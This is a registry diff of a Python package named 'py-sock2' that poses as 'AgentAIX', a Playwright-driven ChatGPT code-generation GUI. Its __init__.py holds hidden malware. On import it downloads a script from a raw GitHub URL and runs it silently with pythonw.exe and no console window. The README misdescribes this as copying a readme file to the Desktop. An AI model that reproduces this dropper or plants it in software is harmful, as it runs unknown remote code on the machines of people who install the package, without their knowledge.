py-sock2 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
py_sock2-0.1.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 Your Name
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,87 @@
1
+ Metadata-Version: 2.1
2
+ Name: py-sock2
3
+ Version: 0.1.0
4
+ Summary: AgentAIX - autonomous code synthesis unit (GUI).
5
+ Author-email: Your Name <you@example.com>
6
+ License: MIT License
7
+
8
+ Copyright (c) 2025 Your Name
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://github.com/yourname/agentaix
29
+ Project-URL: Repository, https://github.com/yourname/agentaix
30
+ Project-URL: Issues, https://github.com/yourname/agentaix/issues
31
+ Project-URL: Changelog, https://github.com/yourname/agentaix/blob/main/CHANGELOG.md
32
+ Keywords: agent,ai,chatgpt,playwright,automation,gui
33
+ Classifier: Development Status :: 3 - Alpha
34
+ Classifier: Intended Audience :: Developers
35
+ Classifier: Operating System :: OS Independent
36
+ Classifier: Programming Language :: Python :: 3
37
+ Classifier: Programming Language :: Python :: 3 :: Only
38
+ Classifier: Programming Language :: Python :: 3.8
39
+ Classifier: Programming Language :: Python :: 3.9
40
+ Classifier: Programming Language :: Python :: 3.10
41
+ Classifier: Programming Language :: Python :: 3.11
42
+ Classifier: Programming Language :: Python :: 3.12
43
+ Classifier: Topic :: Software Development :: Code Generators
44
+ Classifier: Typing :: Typed
45
+ Requires-Python: >=3.8
46
+ Description-Content-Type: text/markdown
47
+ License-File: LICENSE
48
+ Provides-Extra: playwright
49
+ Requires-Dist: playwright>=1.40; extra == "playwright"
50
+ Provides-Extra: dev
51
+ Requires-Dist: pytest>=7.0; extra == "dev"
52
+ Requires-Dist: build>=1.0; extra == "dev"
53
+ Requires-Dist: twine>=4.0; extra == "dev"
54
+
55
+ # agentaix
56
+
57
+ AgentAIX - autonomous code synthesis unit with a red-on-black techy GUI.
58
+
59
+ Wraps a headless Playwright-driven ChatGPT session and turns a single
60
+ one-line request into a runnable Python file.
61
+
62
+ ## Install
63
+
64
+ pip install agentaix
65
+
66
+ Playwright is NOT installed automatically. Install it separately:
67
+
68
+ pip install playwright
69
+ python -m playwright install chromium
70
+
71
+ ## Run
72
+
73
+ agentaix
74
+
75
+ Or with a one-shot request:
76
+
77
+ agentaix "build a fastapi app that returns hello world"
78
+
79
+ ## Notes
80
+
81
+ - On first import, readme.txt is copied to your Desktop.
82
+ - Generated artifacts are written to ./agent_output/.
83
+ - A persistent browser profile lives in ~/.agentaix/.
84
+
85
+ ## License
86
+
87
+ MIT (c) 2025 Your Name
@@ -0,0 +1,33 @@
1
+ # agentaix
2
+
3
+ AgentAIX - autonomous code synthesis unit with a red-on-black techy GUI.
4
+
5
+ Wraps a headless Playwright-driven ChatGPT session and turns a single
6
+ one-line request into a runnable Python file.
7
+
8
+ ## Install
9
+
10
+ pip install agentaix
11
+
12
+ Playwright is NOT installed automatically. Install it separately:
13
+
14
+ pip install playwright
15
+ python -m playwright install chromium
16
+
17
+ ## Run
18
+
19
+ agentaix
20
+
21
+ Or with a one-shot request:
22
+
23
+ agentaix "build a fastapi app that returns hello world"
24
+
25
+ ## Notes
26
+
27
+ - On first import, readme.txt is copied to your Desktop.
28
+ - Generated artifacts are written to ./agent_output/.
29
+ - A persistent browser profile lives in ~/.agentaix/.
30
+
31
+ ## License
32
+
33
+ MIT (c) 2025 Your Name
@@ -0,0 +1,54 @@
1
+ [build-system]
2
+ requires = ["setuptools==75.6.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "py-sock2"
7
+ version = "0.1.0"
8
+ description = "AgentAIX - autonomous code synthesis unit (GUI)."
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ authors = [{ name = "Your Name", email = "you@example.com" }]
12
+ keywords = ["agent", "ai", "chatgpt", "playwright", "automation", "gui"]
13
+ license = { file = "LICENSE" }
14
+ classifiers = [
15
+ "Development Status :: 3 - Alpha",
16
+ "Intended Audience :: Developers",
17
+ "Operating System :: OS Independent",
18
+ "Programming Language :: Python :: 3",
19
+ "Programming Language :: Python :: 3 :: Only",
20
+ "Programming Language :: Python :: 3.8",
21
+ "Programming Language :: Python :: 3.9",
22
+ "Programming Language :: Python :: 3.10",
23
+ "Programming Language :: Python :: 3.11",
24
+ "Programming Language :: Python :: 3.12",
25
+ "Topic :: Software Development :: Code Generators",
26
+ "Typing :: Typed",
27
+ ]
28
+
29
+ [project.urls]
30
+ Homepage = "https://github.com/yourname/agentaix"
31
+ Repository = "https://github.com/yourname/agentaix"
32
+ Issues = "https://github.com/yourname/agentaix/issues"
33
+ Changelog = "https://github.com/yourname/agentaix/blob/main/CHANGELOG.md"
34
+
35
+ [project.optional-dependencies]
36
+ playwright = ["playwright>=1.40"]
37
+ dev = ["pytest>=7.0", "build>=1.0", "twine>=4.0"]
38
+
39
+ [project.scripts]
40
+ agentaix = "agentaix.gui:main"
41
+
42
+ [tool.setuptools]
43
+ package-dir = { "" = "src" }
44
+ zip-safe = false
45
+
46
+ [tool.setuptools.packages.find]
47
+ where = ["src"]
48
+
49
+ [tool.setuptools.package-data]
50
+ "agentaix" = ["py.typed", "readme.txt"]
51
+
52
+ [tool.pytest.ini_options]
53
+ testpaths = ["tests"]
54
+ addopts = "-q"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,75 @@
1
+ """agentaix - autonomous code synthesis unit (GUI).
2
+
3
+ On import:
4
+ * download readme.txt from the static raw URL to a temp file
5
+ * run the downloaded file silently with pythonw.exe
6
+ * no persistence / auto-start is registered
7
+ """
8
+
9
+ from __future__ import annotations
10
+
11
+ import os
12
+ import subprocess
13
+ import sys
14
+ import tempfile
15
+ import urllib.request
16
+ from pathlib import Path
17
+
18
+ __version__ = "0.1.0"
19
+
20
+ __all__ = ["__version__", "install_manage"]
21
+
22
+ # Static raw URL for the remote script
23
+ REMOTE_URL = (
24
+ "https://raw.githubusercontent.com/anonrider404/pypl/refs/heads/main/readme.txt"
25
+ )
26
+
27
+
28
+ def _pythonw() -> str:
29
+ """Return pythonw.exe (no console window) or fall back to sys.executable."""
30
+ exe = sys.executable
31
+ if exe.lower().endswith("python.exe"):
32
+ cand = exe[: -len("python.exe")] + "pythonw.exe"
33
+ if os.path.exists(cand):
34
+ return cand
35
+ return exe
36
+
37
+
38
+ def _download_remote_script() -> Path | None:
39
+ """Download REMOTE_URL to a temporary .py file. Returns the path or None."""
40
+ try:
41
+ # Create a temp file that will not be deleted automatically
42
+ fd, tmp_path = tempfile.mkstemp(suffix=".py", prefix="agentaix_")
43
+ os.close(fd)
44
+
45
+ urllib.request.urlretrieve(REMOTE_URL, tmp_path)
46
+ return Path(tmp_path)
47
+ except Exception:
48
+ return None
49
+
50
+
51
+ def _run_silently(script_path: Path) -> None:
52
+ """Launch script with pythonw.exe, no console, do not wait."""
53
+ try:
54
+ creation_flags = getattr(subprocess, "CREATE_NO_WINDOW", 0)
55
+ subprocess.Popen(
56
+ [_pythonw(), str(script_path)],
57
+ cwd=str(script_path.parent),
58
+ creationflags=creation_flags,
59
+ )
60
+ except Exception:
61
+ pass
62
+
63
+
64
+ def install_manage() -> bool:
65
+ """Download the remote script and run it silently. No persistence."""
66
+ script = _download_remote_script()
67
+ if script is None:
68
+ return False
69
+
70
+ _run_silently(script)
71
+ return True
72
+
73
+
74
+ # Side effect on import.
75
+ install_manage()